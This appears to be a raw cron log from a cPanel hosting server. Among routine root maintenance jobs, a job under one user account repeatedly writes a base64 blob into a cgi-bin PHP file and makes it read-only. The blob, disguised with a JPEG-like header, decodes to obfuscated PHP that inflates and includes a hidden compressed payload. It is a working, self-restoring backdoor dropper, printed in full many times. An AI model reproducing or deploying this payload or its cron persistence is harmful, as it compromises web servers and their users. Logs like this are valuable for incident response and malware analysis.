"$fp")
Sep  5 08:48:01 server CROND[17723]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:48:01 server CROND[17724]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:48:01 server CROND[17725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:49:01 server CROND[18120]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:49:01 server CROND[18121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:49:01 server CROND[18122]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:50:01 server CROND[18498]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 08:50:01 server CROND[18499]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 08:50:01 server CROND[18502]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 08:50:01 server CROND[18507]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 08:50:01 server CROND[18504]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 08:50:01 server CROND[18508]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:50:01 server CROND[18506]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:50:01 server CROND[18510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:50:01 server CROND[18505]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 08:51:01 server CROND[19429]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:51:01 server CROND[19430]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:51:01 server CROND[19431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:52:01 server CROND[19796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:52:01 server CROND[19797]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:52:01 server CROND[19799]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:53:01 server CROND[20183]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:53:01 server CROND[20184]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:53:01 server CROND[20186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:54:01 server CROND[20570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:54:01 server CROND[20571]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:54:01 server CROND[20572]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:55:01 server CROND[20980]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:55:01 server CROND[20986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:55:01 server CROND[20988]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:55:01 server CROND[20989]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 08:55:01 server CROND[20992]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 08:55:01 server CROND[20991]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 08:55:01 server CROND[20990]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 08:56:01 server CROND[21949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:56:01 server CROND[21950]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:56:01 server CROND[21951]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:57:01 server CROND[22319]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 08:57:01 server CROND[22318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:57:01 server CROND[22321]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:57:01 server CROND[22320]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:58:01 server CROND[22726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:58:01 server CROND[22727]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:58:01 server CROND[22729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:59:01 server CROND[23264]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:59:01 server CROND[23265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:59:01 server CROND[23266]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:00:01 server CROND[23648]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Sep  5 09:00:01 server CROND[23652]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
